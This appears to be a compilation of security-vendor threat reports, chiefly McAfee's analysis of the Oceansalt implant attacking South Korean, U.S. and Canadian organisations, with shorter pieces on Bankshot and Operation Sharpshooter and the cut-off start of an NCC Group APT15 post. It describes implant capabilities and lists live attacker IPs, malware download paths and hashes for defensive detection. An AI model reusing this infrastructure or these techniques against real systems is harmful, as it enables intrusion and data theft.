Adobe Flash vulnerability to get the implant onto the victim +systems. +The campaign has a high chance of success against victims who have an unpatched version +of Flash. Documents with the Flash exploit managed to evade static defenses and remain +undetected as an exploit on VirusTotal. This is the first time that Bankshot has been tied +directly to financial-related hacking and the first time it has been used since November +2017. +McAfee detects these threats as: +RDN/Generic Exploit +RDN/Generic.dx +Generic PWS.y +Generic.hbg +Exploit-CVE2018-4878 +McAfee customers are also covered by McAfee Global Threat Intelligence Web Reputation +classification, which rate these URLs as High Risk. +Indicators of Compromise +MITRE ATT&CK techniques +Exfiltration over command and control channel +Commonly used port +Command-line interface +Service execution +Automated collection +Data from local system +Process discovery +System time discovery +Credential dumping +Exploitation of vulnerability +Process injection +File deletion +Hashes +650b7d25f4ed87490f8467eb48e0443fb244a8c4 +65e7d2338735ec04fd9692d020298e5a7953fd8d +16/17 +166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7 +a2e966edee45b30bb6bb5c978e55833eec169098 +Domains +530hr[dot]com/data/common.php +028xmz[dot]com/include/common.php +168wangpi[dot]com/include/charset.php +Falcancoin[dot]io +17/17 +REPORT +Operation Oceansalt + Attacks South +Korea, U.S., and Canada With Source +Code From Chinese Hacker Group +October 18, 2018 +McAfee Advanced Threat Research +REPORT +Operation Oceansalt + Attacks South Korea, +U.S., and Canada With Source Code From +Chinese Hacker Group +Introduction +McAfee + Advanced Threat Research and Anti-Malware Operations teams have discovered +another unknown data reconnaissance implant targeting Korean-speaking users. We +have named this threat Operation Oceansalt based on its similarity to the earlier malware +Seasalt, which is related to earlier Chinese hacking operations. Oceansalt reuses a portion +of code from the Seasalt implant (circa 2010) that is linked to the Chinese hacking group +Comment Crew. Oceansalt appears to have been part of an operation targeting South +Korea, United States, and Canada in a well-focused attack. A variation of this malware has +been distributed from two compromised sites in South Korea. (They are currently offline.) +Oceansalt appears to be the first stage of an advanced persistent threat. The malware can +send system data to a control server and execute commands on infected machines, but +we do not yet know its ultimate purpose. The Advanced Threat Research team has not +previously described this implant in any of our analyses. +Comment Crew or Another Actor? +The actions of Comment Crew, also known as APT1, +were exposed in 2013 in a ground-breaking report on +Chinese cyber espionage against the United States. This +report detailed the inner workings of Comment Crew +and its cyber offensive capabilities. The consequences +of releasing this public report forced the group to either +make changes to their techniques or cease their activity +altogether. Until this analysis, we had observed no +Authors +This report was researched +and written by: +Ryan Sherstobitoff +Asheer Malhotra +new activity related to Comment Crew since they were +exposed, but now we find portions of their implant code +appearing in new operations targeting South Korea. +As we investigated this code overlap, we found no +evidence that the source code from Comment Crew +was ever made public, nor did we find it being sold in +underground markets we examined. Has Comment +Crew returned? We think it is unlikely. Due to the lack of +indications that this is a new Comment Crew campaign, it +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +Connect With Us +REPORT +raises the question of who is responsible. Based on our +research, we offer a few potential scenarios that could +explain the existence of Comment Crew +s code in the +current actor +s malware targeting South Koreans. +This is a code-sharing arrangement between two +actors +An actor has privately gained access to the source +code from someone involved in the original Comment +Crew operations +This is a +false flag + operation using Comment Crew +code to make it appear that China and North Korea +have collaborated on this cyberattack +Does the Actor Speak Korean? +The contents of the malicious documents were written in +Korean and contained subjects specifically relating to the +finances of projects in South Korea. These documents +appear to be unique, not found on open-source +channels. We were not able to determine the source of +these documents, suggesting they were created by the +actor. +The metadata in the malicious Microsoft Office +documents used in the attacks contains a Koreanlanguage code page. This data indicates the document +contained the Korean-language pack, most likely to +ensure the victims could read it. We also see a consistent +author, which is typical of the techniques of previous +campaigns we have analyzed that involved malicious +documents targeting South Koreans. +Figure 1. Metadata from a code page in a malicious .xls document. +The Advanced Threat Research team concludes that we +have found a new implant family created by an actor +targeting Korean-speaking users and using components +from Comment Crew +s source code. Furthermore it is +likely that the actor has a good working knowledge of the +Korean language. +Targets +During our research we discovered the initial attack +vector was spear phishing, with two malicious Koreanlanguage Microsoft Excel documents acting as +downloaders of this implant. According to our document +analysis, the targets likely had knowledge of South +Korean public infrastructure projects and related +financials +a clear indication that the actor focused +initially on infrastructure. +A second round of malicious documents, this time in +Microsoft Word, carried the same metadata and author +as the Excel documents. The content was related to the +financials of the Inter-Korean Cooperation Fund. The +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +malicious activity first appeared on May 31, 2018, in +South Korea. Further telemetry indicates organizations +outside of Korea have fallen victim to this attack; as of +August 14, the attack had reached multiple industries in +Canada and the United States. +Further, the code overlaps with that from a previously +reported advanced state-sponsored group. The overlap +suggests a close collaboration between members of +a state-sponsored group and the current actors in +conducting cyber operations. +The date of the attack +s first appearance in North +America is unknown. We did not find Office documents +affecting targets in Canada and the United States, but +our telemetry indicates the threat has also affected +systems in North America. It is possible the attack +on North American companies is part of a separate +campaign from the one targeting Koreans, especially +because we discovered only a handful of malicious +documents and they distributed only one variant of the +implant out of several we found. Based on our telemetry, +the team learned these organizations were in the +investment, banking, and agriculture industries. +Campaign Analysis +Objectives and Impact +Our research suggests the targets were those who +would read documents related to South Korea +s public +construction expenses, Inter-Korean Cooperation fund, +or other global financial data. One possible motive for +the campaign is financial theft. These attacks might +be a precursor to a much larger attack that could be +devastating given the control the attackers have over +their infected victims. The impact of these operations +could be huge: Oceansalt gives the attackers full control +of any system they manage to compromise and the +network it is connected to. A bank +s network would be +an especially lucrative target. +The campaign to target and compromise victims across +the world began in Korea and expanded globally in +stages. The distribution URLs for the implants were fairly +consistent for the malicious documents; it appears the +actor hacked a number of South Korean websites to +host the implant code. +Wave One: South Korean higher education +The first wave of attacks began with a malicious +document created May 18, with a last saved date of May +28. The author of this Korean-language document was +Lion, whom we will continue to see throughout later +documents. +Figure 2. Metadata from a first-wave malicious document. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +In the first wave the malicious Excel file contains a list of +Korean names, physical addresses, and email addresses. +Many of the names belong to those involved in higher +education in South Korea or who attend various +institutes. However, the list is random and looks like a +copy of a database of personal information from a South +Korean government authority. +This document contains macro code to download the +implant from www.[redacted].kr/admin/data/member/1/ +log.php and execute it as V3UI.exe, the name of a +security product in South Korea. +hxxp://[redacted].kr/admin/data/member/1/log.php +Figure 3. The download URL for the second wave of attacks, against +public infrastructure. +This Excel document was created May 31 by the author +Lion, a day before the implant was compiled and hosted +on the distribution site. The documents appear to be +related to South Korean public infrastructure projects +and their expenses. Based on our analysis of the +documents, it is clear that this attack is targeted toward +South Korean individuals in this field. +Wave Two: South Korean public infrastructure +The Advanced Threat Research team discovered that the +implant was hosted at a legitimate site in South Korea +belonging to a music teachers organization that has +no relationship to the malicious document. The actor +hosted a PHP page that triggered the download of the +implant from a malicious VBA script embedded in two +Excel documents, which contained Visual Basic macros +to communicate, download, and install an implant on +the victim +s system once the document was opened and +viewed. The documents were submitted to us by a South +Korean organization during the first wave of attacks. +Figure 4. Metadata from a second-wave malicious document. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Figure 5. Malicious document 1: investment trends in public infrastructure projects. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Figure 6. Malicious document 2: expenses in public infrastructure +projects. +Figure 7. Malicious document 3: a public projects expense report. +The last document in this wave was created by Lion +on June 4 with the filename 0. +_SW_2018 +_list_(20180411)_ +.xls. This document was +observed downloading the implant from the distribution +server. It references Onnara, a government agency +responsible for land and development in South Korea. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Wave Three: Inter-Korean Cooperation +The third wave included a Word document with +the same type of macro code as the Excel files. The +document contained fake information related to the +financials of the Inter-Korean Cooperation Fund. The +document was created at the same time as the attacks +on South Korean public infrastructure officials. Lion +authored both Excel and Word documents. This Word +document used a different South Korean compromised +website to distribute the implant. In this wave, an +additional Excel document appeared with telephone +numbers and contact information connected to the +content of the Word document. +hxxp://[redacted].kr/gbbs/bbs/admin/log.php +Figure 8. The distribution URL for the implant for Wave Three. +Figure 9. Fake statistics statement monthly report from the Inter-Korean Corporation Fund. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Figure 10. Fake statistics statement monthly report from the Inter-Korean Corporation Fund. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Figure 11. Fake product and partner information. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Wave Four: Targets outside of South Korea +Wave Five: South Korea and United States +We identified a small number of targets outside of +South Korea, as the attacks expanding their scope. We +have yet to identify the malicious documents involved +in delivering this implant to the victims. Because Waves +One and Two contained different distribution servers +for the implant, we expect this wave had its own as well. +According to McAfee telemetry data between August 10 +and 14, these North American targets fall within several +industries: +The Oceansalt implant was not limited to just one +sample. We discovered additional variants using +different control servers. As we continued to investigate, +we found more samples, though obfuscated to +avoid detection. The samples were all identical to +the initial Oceansalt implant. The fifth-wave samples +were compiled between June 13 and July 17 and were +submitted to us by organizations in South Korea and the +United States. +Industry +Country +Hash +Compile Date +Control Server +Financial +United States +38216571e9a9364b509e52ec19fae61b +6/13/2018 +172.81.132.62 +Health Care +United States +531dee019792a089a4589c2cce3dac95 +6/14/2018 +211.104.160.196 +Health Care +United States +0355C116C02B02C05D6E90A0B3DC107C +7/16/2018 +27.102.112.179 +Telecommunications +Canada +74A50A5705E2AF736095B6B186D38DDF +7/16/2018 +27.102.112.179 +Financial +United States +45C362F17C5DC8496E97D475562BEC4D +7/17/2018 +27.102.112.179 +Agriculture and Industrial +United States +C1773E9CF8265693F37DF1A39E0CBBE2 +7/17/2018 +27.102.112.179 +Financial +United States +D14DD769C7F53ACEC482347F539EFDF4 +7/17/2018 +27.102.112.179 +Telecommunications +Canada +B2F6D9A62C63F61A6B33DC6520BFCCCD +7/17/2018 +27.102.112.179 +Financial +Canada +76C8DA4147B08E902809D1E80D96FBB4 +7/17/2018 +27.102.112.179 +Financial Technology +United States +Government +United States +Figure 12. Victims in Wave Four of the campaign. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Technical Analysis +Download and execution capabilities +Once the .xls/.doc files are opened in Office, +embedded malicious macros contact a download +server and write the Oceansalt implant to disk +These malicious macros execute the Oceansalt implant +on the infected endpoint +The indicators of compromise from the malicious .xls +downloaders: +IOC Description +IOC Value +Download servers contacted +[redacted].kr +[redacted].kr +Oceansalt location on the +download server +/admin/data/member/1/log[.]php +/gbbs/bbs/admin/log[.]php +Oceansalt location on the +infected endpoint +%temp%\SynTPHelper[.]exe +%temp%\LMworker[.]exe +Figure 13. A portion of the malicious macro code used to download the implant. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Control Server +The campaign employed multiple control servers. We +observed the following IP addresses in implants dating +from June to July. +172.81.132.62 +211.104.160.196 +27.102.112.179 +158.69.131.78 +Our telemetry shows this campaign is operational in +several countries. Address 211.104.160.196 indicates +infections in Costa Rica, the United States, and the +Philippines. Address 158.69.131.78 reveals additional +infections in the United States and Canada. +These machines resided in numerous countries +from August 18 +21. Because this operation involves +multifunction implants, these machines are likely to be +part of a larger covert listener network. The Advanced +Threat Research team has observed this kind of +targeting in similar operations that compromise victims +as control server relays. +Implant Origins +Our initial investigation into earlier similar samples led +us to a variant +bf4f5b4ff7ed9c7275496c07f9836028, +compiled in 2010. Oceansalt uses portions of code from +this sample; their overall similarity is 21%. The reused +code is unique, is not considered a common library or +common code, and serves reconnaissance and control. +The misclassified sample used a Comment +Crew domain. Further investigation revealed +the misclassified sample is 99% like Seasalt +(5e0df5b28a349d46ac8cc7d9e5e61a96), a Comment +Crew implant reported to have been used in their +operations around 2010. Thus the Oceansalt actor is +reusing portions of code from Seasalt to form a new +implant. Based on the overall techniques, Oceansalt is +unlikely to signal a rebirth of Comment Crew, raising the +question of how the actor obtained the Seasalt code. +Was it provided to this or another actor, or was it leaked +and discovered by this actor? We have been unable to +find any evidence in underground or public forums that +suggest the source code of Seasalt has been leaked or +made available. +We discovered another batch of samples compiled +on July 16 +17 that are obfuscated and essentially the +same implant, with minor changes such as the control +servers. Some of the samples are missing reverse-shell +functionality, indicating that this actor has access to +Seasalt source code and can compile implants from +the original source. This could demonstrate is a level of +collaboration between two nation-states on their cyber +offensive programs. +Code Similarities with Seasalt +Oceansalt contains the following strings that are part of +Seasalt: +Upfileer +Upfileok +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Figure 14. Seasalt strings appearing in Oceansalt. +Figure 16. Command handler similarity between Seasalt, at left, and Oceansalt. +Figure 15. Seasalt strings appearing in Oceansalt. +Both implants have a high degree of similarity in code +sharing and functions. A few of their commonalities +follow. +Command handler and index table similarities +The command handler for both implants uses similar +semantics and command codes to execute the same +functionalities. Even the mechanism for calculating the +command code is similar. Seasalt code is represented on +the left and Oceansalt appears on the right: +Figure 17. Command index table similarity between Seasalt, at left, and Oceansalt. +Command and capability similarities +Both implants execute their capabilities in the same +way, which indicates they were both developed from +the same code base. The response codes used by +both implants to indicate the success or failure of the +commands executed on the endpoint are also an exact +match. Some of these similarities: +Drive reconnaissance capability: Similar code +signatures. Both implants use the same codes to +indicate the drive type to the control server. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Figure 18. Similarity in the drive recon functionality. Seasalt is at left. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +File reconnaissance capability: Similar API and code +usage to get file information. The response codes sent +to the control server to indicate whether a file was +found is an exact match. +Figure 19. Similarity in the command execution capability. Seasalt is at left. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Reverse-shell creation capability: Both implants use +similar code signatures to create a reverse shell on the +infected endpoint. Both reverse shells are based on +cmd.exe. +Figure 20. Reverse-shell creation capability similarities. Seasalt is at left. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Code Differences from Seasalt +There are a few differences between the two implants +in implementation; these demonstrate that Oceansalt +is not simply a recompilation of Seasalt source code. +However, these differences also provide evidence that +Oceansalt is an evolution of Seasalt. +Encoding: The Oceansalt implant uses an encoding +and decoding mechanism before any data is sent to +the control server. The Seasalt implant does not use +this encoding and sends unencrypted data to the +control server. +Control server address: Oceansalt uses a hardcoded +control server address to establish communication. +Seasalt parses the control address from its binary by +decoding data. +Persistence: Oceansalt has no persistence +mechanisms to ensure continued infection over +endpoint reboots. Seasalt, on the other hand, copies +itself to C:\DOCUMEN~1\\java.exe and creates +a registry entry to ensure infection after reboot: + HKLM\Software\Microsoft\Windows\currentVersion\ +Run | sysinfo +Based on the executable header information, Seasalt +was compiled on March 30, 2010. Oceansalt was +compiled on June 1, 2018. Highlighting the compilation +timestamps is important because, as our preceding +analysis demonstrates, the samples have a high degree +of code sharing: +Multiple code matches and similarities +Multiple functional similarities +Identical command capabilities +Same command and response codes issued by and +sent to the control server +The code used to create the reverse shell in Oceansalt +is an exact match with that of Comment Crew +s Seasalt +implant. The mechanism for creating the reverse shell +(pipe-based inter-process communication for standard +I/O handles) is also seen in Comment Crew implants +such as WebC2-CSON and WebC2-GREENCAT. +These matches lead us to believe that Oceansalt is +based on Seasalt, because it reuses much of the code +base developed 10 years ago. Seasalt +s public disclosure +in the Comment Crew report does not seem to have +discouraged Oceansalt +s developer. +Obfuscated Oceansalt Comparison with Seasalt +We offer a comparative analysis of the following partially +obfuscated implants against the initial Oceansalt sample +and the Seasalt implant from Comment Crew. +SHA-1 +Compile Date +Role +fc121db04067cffbed04d7403c1d222d376fa7ba +7/16/2018 +Partially obfuscated Oceansalt +281a13ecb674de42f2e8fdaea5e6f46a5436c685 +7/17/2018 +Partially obfuscated Oceansalt +1f70715e86a2fcc1437926ecfaeadc53ddce41c9 +7/17/2018 +Partially obfuscated Oceansalt +ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36 +7/16/2018 +Partially obfuscated Oceansalt +12a9faa96ba1be8a73e73be72ef1072096d964fb +7/17/2018 +Partially obfuscated Oceansalt +be4fbb5a4b32db20a914cad5701f5c7ba51571b7 +7/17/2018 +Partially obfuscated Oceansalt +0ae167204c841bdfd3600dddf2c9c185b17ac6d4 +7/17/2018 +Partially obfuscated Oceansalt +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +All the partially obfuscated Oceansalt implants have the +following characteristics: +All implants were compiled during a three-day period: +July 16 +All implants contain debug statements (print logs) +written to the log file: C:\Users\Public\Videos\temp.log +Evidence of Source-Code Sharing +We present evidence of source-code sharing between +the Oceansalt authors and Comment Crew, based on +our comparative analysis of the three sets of samples: +Oceansalt, partially obfuscated Oceansalt, and Seasalt. +These debug statements begin with the timestamp +and consist of the following keywords at the beginning +of the debug message: + The mechanism for obtaining the address in Seasalt +is different from Oceansalt +s. Seasalt looks for +encoded data at the end of the binary, decodes this +data into tokens separated by the marker + and +obtains the control server information. + [WinMain] + [FraudProc] +All implants connected to the same control server IP +address: 27.102.112.179 +Although none of the partially obfuscated implants +contain any additional capabilities (as compared with +the initial Oceansalt or Seasalt), some of the partially +obfuscated implants are missing the reverse-shell +capabilities: +Partially Obfuscated Oceansalt Hash +Reverse-Shell +Capability? +C1773E9CF8265693F37DF1A39E0CBBE2 +0355C116C02B02C05D6E90A0B3DC107C +74A50A5705E2AF736095B6B186D38DDF +45C362F17C5DC8496E97D475562BEC4D +D14DD769C7F53ACEC482347F539EFDF4 +B2F6D9A62C63F61A6B33DC6520BFCCCD +76C8DA4147B08E902809D1E80D96FBB4 +There is no possibility the attackers could have reinstrumented Seasalt by simply modifying the control +server IP addresses: + Oceansalt implants have the control server IP +addresses and port numbers hardcoded as plaintext strings in the binaries +Some of the partially obfuscated Oceansalt implants +are missing the reverse-shell capability. All other +capabilities (code signatures, response codes, etc.) +and command codes are similar. (Command codes are +either the same or off by 1.) Modifying capabilities in +this fashion is possible only with access to the source +code of Seasalt. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +The presence of debug strings tracing the code flow of +the Oceansalt implants indicates they were compiled +after adding debug information to the source code of +Seasalt: + [WinMain]after recv cmd=%d 0Dh 0Ah + [WinMain]before recv 0Dh 0Ah + [FraudProc]Engine is still active! 0Dh 0Ah + [FraudPRoc]Process Restart! 0Dh 0Ah +The presence of these debug strings also indicates +that the authors who modified the source code may +have used these samples to perform their initial +testing before obfuscating and releasing the implants +to their victims, without scrubbing the debug strings +The Oceansalt implant +531dee019792a089a4589c2cce3dac95 (compiled June +1) contains a few key features that indicate compilation +from the source code of Seasalt: + Does not contain the reverse-shell capability + Does not contain the drive recon capability + Loads API SHGetFileInfoA() dynamically without +statically importing it. This also suggests that +Seasalt +s source code was modified before +compilation. +Figure 21. Dynamic API loading in an Oceansalt implant. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Oceansalt Capabilities +Oceansalt is 76KB, a minimal on-disk footprint that is +harder to detect than larger malware. The implant has a +variety of capabilities for capturing data from the victim +machine using a structured command system. From +our research we have determined that this implant is a +first-stage component. Further stages are downloaded +through its commands. Oceansalt also supports +commands enabling the attacker to take various actions +on the victim +s system. +Initial reconnaissance +Oceansalt starts by trying to connect to its control server +at 158.69.131.78:8080. Once connected, the implant +sends the following information about the endpoint: +IP address +Computer name +File path of the implant +All data sent to the control server is encoded with a NOT +operation on each byte. +Figure 23. Control server connection functionality for Oceansalt. +Figure 22. Initial data gathered from the endpoint by Oceansalt. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Command handler functions +Oceansalt can execute 12 commands. Each command +received from the control server is represented by a +command code ranging from 0x0 to 0xB (0 to 11). +Figure 24. Command index table showing Oceansalt +s capabilities. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +Figure 25. Oceansalt +s command execution functionality. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +0x0: Drive recon +The control server sends this command code to +Oceansalt to extract drive information from the +endpoint. The format of the drive information: +#::...# +Legend +Description + +A,B,C,D,E, etc., representing all logical drives on +the system + +0 = DRIVE_REMOVABLE +1 = DRIVE_FIXED +2 = DRIVE_CDROM +3 = DRIVE_REMOTE +Figure 26. Oceansalt gathering drive information. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +0x1: File recon +Sends the following information about a specific file (or +file pattern) specified by the control server: +Filename +Type of file on disk, for example, file or folder + if file was found on the location +File creation time in format +0x2: Command execute +Executes a command line using WinExec(). The +command line is provided by the control server along +with the command number. For example: + +02 00 00 00 C:\Windows\system32\calc.exe +The command line is executed with a hidden window +(using the SW_HIDE option for WinExec()). +0x3: File delete +Deletes a file specified by the control server from the +disk +Once an operation is completed, the implant sends + (in ASCII) to the control server to indicate the +successful execution of the command +If the operation fails, Oceansalt sends a + (in ASCII) to +indicate failure +0x4: File write +Creates a file specified by a file path provided by the +control server, which also provides the content to be +written to the file path +If the file write is successful, Oceansalt sends the +keyword +upfileok + indicating success +If the file write fails, the implant sends the keyword +upfileer + indicating failure +Figure 27. Oceansalt +s command execution capability. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +0x6: Process recon +Figure 28. Oceansalt +s file-writing capability. +Sends the name and ID for every process running on +the system to the control server +Process data is sent via individual packets, that is, one +packet per process +Figure 29. Oceansalt +s process listing via its recon capability. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +0x7: Process terminate +Terminates a process whose ID has been specified by +the control server +0x8: Reverse shell create +Opens a reverse shell from the infected endpoint to +the control server using Windows pipes +This reverse shell is based on cmd.exe. It can carry out +further recon and make changes to the endpoint. +Figure 30. Oceansalt +s reverse-shell creation capability. +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +0x9: Reverse shell operate +Operates the reverse shell established using the +previous command code +Contains the commands sent by the control server to +the reverse shell that will be executed by cmd.exe on +the infected endpoint +Once the command has been executed, the output is +read from cmd.exe via a pipe and sent to the control +server +0XA: Reverse shell terminate +Closes the reverse shell by closing handles to the pipes +created for the shell +s inter-process communication +0XB: Connection test +Tests receive and send capabilities of the implant by +receiving data (0x7 bytes) from the control server and +sending it back +Conclusion +Based on our analysis, the McAfee Advanced Threat +Research team has named this global threat Operation +Oceansalt. This operation has focused on targets in +South Korea and other countries with new malware that +has roots in Comment Crew activity from 2010. +Our research shows that Comment Crew +s malware in +part lives on in different forms employed by another +advanced persistent threat group operating primarily +against South Korea. This research represents how +threat actors including nation-states might collaborate +on their campaigns. McAfee continues to monitor the +threat landscape in Asia and around the world to track +the evolution of known groups and changes to their +techniques. +Persistence +Oceansalt has no persistence capabilities to remain on +the endpoint after the system reboots +This lack suggests other components in the infection +chain may ensure persistence and carry out other +malicious activities +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +REPORT +McAfee Coverage +IP addresses +Generic.dx!tjz +158.69.131.78 +RDN/Generic.grp +172.81.132.62 +RDN/Generic.ole +27.102.112.179 +RDN/Generic.grp (trojan) +211.104.160.196 +RDN/Trojan-FQBD +RDN/Generic.RP +Hashes +fc121db04067cffbed04d7403c1d222d376fa7ba +Indicators of Compromise +832d5e6ebd9808279ee3e59ba4b5b0e884b859a5 +MITRE ATT&CK + Techniques +be4fbb5a4b32db20a914cad5701f5c7ba51571b7 +Scripting +1f70715e86a2fcc1437926ecfaeadc53ddce41c9 +Spear phishing attachment +dd3fb2750da3e8fc889cd1611117b02d49cf17f7 +Automated collection +583879cfaf735fa446be5bfcbcc9e580bf542c8c +Command-line interface +ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36 +Network share discovery +d72bc671583801c3c65ac1a96bb75c6026e06a73 +Process discovery +e5c6229825f11d5a5749d3f2fe7acbe074cba77c +File and directory discovery +9fe4bfdd258ecedb676b9de4e23b86b1695c4e1e +Data from local system +281a13ecb674de42f2e8fdaea5e6f46a5436c685 +Data from removable media +42192bb852d696d55da25b9178536de6365f0e68 +Data from network shared drive +12a9faa96ba1be8a73e73be72ef1072096d964fb +Exfiltration over control server channel +0ae167204c841bdfd3600dddf2c9c185b17ac6d4 +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +About McAfee +McAfee is the device-to-cloud cybersecurity company. +Inspired by the power of working together, McAfee +creates business and consumer solutions that make +our world a safer place. By building solutions that +work with other companies + products, McAfee helps +businesses orchestrate cyber environments that are +truly integrated, where protection, detection, and +correction of threats happen simultaneously and +collaboratively. By protecting consumers across all +their devices, McAfee secures their digital lifestyle +at home and away. By working with other security +players, McAfee is leading the effort to unite against +cybercriminals for the benefit of all. +About McAfee Labs and Advanced Threat +Research +McAfee Labs, led by McAfee Advanced Threat +Research, is one of the world +s leading sources for +threat research, threat intelligence, and cybersecurity +thought leadership. With data from millions of sensors +across key threats vectors +file, web, message, and +network + McAfee Labs and McAfee Advanced Threat +Research deliver real-time threat intelligence, critical +analysis, and expert thinking to improve protection and +reduce risks. +www.mcafee.com/us/mcafee-labs.aspx. +www.mcafee.com. +2821 Mission College Blvd. +Santa Clara, CA 95054 +888.847.8766 +www.mcafee.com +McAfee and the McAfee logo are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the US and other countries. +Other marks and brands may be claimed as the property of others. Copyright + 2017 McAfee, LLC. 4149_1018 +OCTOBER 2018 +Operation Oceansalt + Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group +Operation Sharpshooter + Targets Global Defense, Critical +Infrastructure +securingtomorrow.mcafee.com/blogs/other-blogs/mcafee-labs/operation-sharpshooter-targets-globaldefense-critical-infrastructure/ +December 12, +2018 +By Ryan Sherstobitoff and Asheer Malhotra on Dec 12, 2018 +This post was written with contributions from the McAfee Advanced Threat Research team. +The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group +have discovered a new global campaign targeting nuclear, defense, energy, and financial +companies, based on McAfee + Global Threat Intelligence. This campaign, Operation +Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage +implant +which we call Rising Sun +for further exploitation. According to our analysis, the +Rising Sun implant uses source code from the Lazarus Group +s 2015 backdoor Trojan +Duuzer in a new framework to infiltrate these key industries. +Operation Sharpshooter +s numerous technical links to the Lazarus Group seem too obvious +to immediately draw the conclusion that they are responsible for the attacks, and instead +indicate a potential for false flags. Our research focuses on how this actor operates, the +global impact, and how to detect the attack. We shall leave attribution to the broader +security community. +Read our full analysis of Operation Sharpshooter. +Have we seen this before? +This campaign, while masquerading as legitimate industry job recruitment activity, gathers +information to monitor for potential exploitation. Our analysis also indicates similar +techniques associated with other job recruitment campaigns. +Global impact +In October and November 2018, the Rising Sun implant has appeared in 87 organizations +across the globe, predominantly in the United States, based on McAfee telemetry and our +analysis. Based on other campaigns with similar behavior, most of the targeted +organizations are English speaking or have an English-speaking regional office. This actor +has used recruiting as a lure to collect information about targeted individuals of interest or +organizations that manage data related to the industries of interest. The McAfee Advanced +Threat Research team has observed that the majority of targets were defense and +government-related organizations. +Targeted organizations by sector in October 2018. Colors indicate the most prominently affected +sector in each country. Source: McAfee + Global Threat Intelligence. +Infection flow of the Rising Sun implant, which eventually sends data to the attacker +s control +servers. +Conclusion +Our discovery of this new, high-function implant is another example of how targeted attacks +attempt to gain intelligence. The malware moves in several steps. The initial attack vector is +a document that contains a weaponized macro to download the next stage, which runs in +memory and gathers intelligence. The victim +s data is sent to a control server for monitoring +by the actors, who then determine the next steps. +We have not previously observed this implant. Based on our telemetry, we discovered that +multiple victims from different industry sectors around the world have reported these +indicators. +Was this attack just a first-stage reconnaissance operation, or will there be more? We will +continue to monitor this campaign and will report further when we or others in the security +industry receive more information. The McAfee Advanced Threat Research team encourages +our peers to share their insights and attribution of who is responsible for Operation +Sharpshooter. +Indicators of compromise +MITRE ATT&CK + techniques +Account discovery +File and directory discovery +Process discovery +System network configuration discovery +System information discovery +System network connections discovery +System time discovery +Automated exfiltration +Data encrypted +Exfiltration over command and control channel +Commonly used port +Process injection +Hashes +8106a30bd35526bded384627d8eebce15da35d17 +66776c50bcc79bbcecdbe99960e6ee39c8a31181 +668b0df94c6d12ae86711ce24ce79dbe0ee2d463 +9b0f22e129c73ce4c21be4122182f6dcbc351c95 +31e79093d452426247a56ca0eff860b0ecc86009 +Control servers +34.214.99.20/view_style.php +137.74.41.56/board.php +kingkoil.com.sg/board.php +Document URLs +hxxp://208.117.44.112/document/Strategic Planning Manager.doc +hxxp://208.117.44.112/document/Business Intelligence Administrator.doc +hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc? +dl=1 +McAfee detection +RDN/Generic Downloader.x +Rising-Sun +Rising-Sun-DOC +APT15 is alive and strong: An analysis of RoyalCli and +RoyalDNS +nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-androyaldns/ +September 3, 2018 +In May 2017, NCC Group's Incident Response team reacted to an ongoing incident where our +client, which provides a range of services to UK Government, suffered a network compromise +involving the advanced persistent threat group APT15. +APT15 is also known as, Ke3chang, Mirage, Vixen Panda GREF and Playful Dragon. +A number of sensitive documents were stolen by the attackers during the incident and we +believe APT15 was targeting information related to UK government departments and military +technology. +APT15 expands its arsenal +During our analysis of the compromise, we identified new backdoors that now appear to be +part of APT15's toolset. The backdoor BS2005 - which has traditionally been used by the group +- now appears alongside the additional backdoors 